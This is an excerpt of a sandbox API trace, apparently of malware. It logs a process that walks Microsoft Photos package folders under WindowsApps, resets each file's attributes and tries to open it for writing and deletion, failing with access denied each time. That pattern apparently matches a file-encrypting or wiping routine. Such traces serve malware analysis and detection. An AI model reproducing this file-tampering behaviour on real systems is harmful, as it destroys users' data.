	[0091.076] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bbcb0) returned 1
	[0091.076] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e3b22e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInRefocus.contrast-high_scale-100.png", cAlternateFileName="")) returned 1
	[0091.076] wcscmp (_String1="IconOpenInRefocus.contrast-high_scale-100.png", _String2=".") returned 1
	[0091.076] wcscmp (_String1="IconOpenInRefocus.contrast-high_scale-100.png", _String2="..") returned 1
	[0091.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x164) returned 0x2d85ee8
	[0091.076] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.076] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.076] wcscat (in: _Dest=0x2d85ee8, _Source="IconOpenInRefocus.contrast-high_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-100.png"
	[0091.076] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.contrast-high_scale-100.png")) returned 0x20
	[0091.079] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.079] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.contrast-high_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.079] GetLastError () returned 0x5
	[0091.079] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.079] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.079] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e3b22e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e3b22e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInRefocus.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.080] wcscmp (_String1="IconOpenInRefocus.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.080] wcscmp (_String1="IconOpenInRefocus.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x166) returned 0x2d85ee8
	[0091.080] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.080] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.080] wcscat (in: _Dest=0x2d85ee8, _Source="IconOpenInRefocus.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-white_scale-100.png"
	[0091.080] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.contrast-white_scale-100.png")) returned 0x20
	[0091.081] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.082] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.082] GetLastError () returned 0x5
	[0091.082] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.082] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.082] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e3b22e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e3b22e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInRefocus.scale-100.png", cAlternateFileName="")) returned 1
	[0091.082] wcscmp (_String1="IconOpenInRefocus.scale-100.png", _String2=".") returned 1
	[0091.082] wcscmp (_String1="IconOpenInRefocus.scale-100.png", _String2="..") returned 1
	[0091.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x2d85ee8
	[0091.082] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.082] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.082] wcscat (in: _Dest=0x2d85ee8, _Source="IconOpenInRefocus.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.scale-100.png"
	[0091.082] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.scale-100.png")) returned 0x20
	[0091.082] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.082] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.083] GetLastError () returned 0x5
	[0091.083] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.083] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e3b22e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e3b22e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInRefocus.scale-100.png", cAlternateFileName="")) returned 0
	[0091.083] FindClose (in: hFindFile=0x477b0e8 | out: hFindFile=0x477b0e8) returned 1
	[0091.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d080) returned 1
	[0091.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0091.084] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb104434a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0
	[0091.084] FindClose (in: hFindFile=0x477b3a8 | out: hFindFile=0x477b3a8) returned 1
	[0091.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ce18) returned 1
	[0091.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026a60) returned 1
	[0091.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0091.084] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8ca3fa7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.084] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.084] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771990
	[0091.084] wcscpy (in: _Dest=0x4771990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0091.084] wcscat (in: _Dest=0x4771990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0091.084] wcscat (in: _Dest=0x4771990, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x4782d68
	[0091.084] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.084] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.084] wcscat (in: _Dest=0x4782d68, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0091.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8ca3fa7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.085] wcscmp (_String1=".", _String2=".") returned 0
	[0091.085] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8ca3fa7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.085] wcscmp (_String1="..", _String2=".") returned 1
	[0091.085] wcscmp (_String1="..", _String2="..") returned 0
	[0091.085] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8ca3fa7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0091.085] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ce18) returned 1
	[0091.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771990) returned 1
	[0091.085] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e3b22e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e3b22e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0091.085] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0091.085] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0091.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491c0f0
	[0091.085] wcscpy (in: _Dest=0x491c0f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0091.085] wcscat (in: _Dest=0x491c0f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0091.085] wcscat (in: _Dest=0x491c0f0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0091.085] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0091.085] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.086] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.086] GetLastError () returned 0x5
	[0091.086] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c0f0) returned 1
	[0091.086] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e3b22e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e3b22e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0091.086] FindClose (in: hFindFile=0x46a7350 | out: hFindFile=0x46a7350) returned 1
	[0091.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f988) returned 1
	[0091.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47739b0) returned 1
	[0091.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1

Thread:
	id = 862
	os_tid = 0xd50

	[0082.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4773b70
	[0082.070] wcscpy (in: _Dest=0x4773b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0082.070] wcscat (in: _Dest=0x4773b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0082.070] wcscat (in: _Dest=0x4773b70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\*"
	[0082.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470fbf0
	[0082.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\*", lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86e61487, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7390
	[0082.071] wcscmp (_String1=".", _String2=".") returned 0
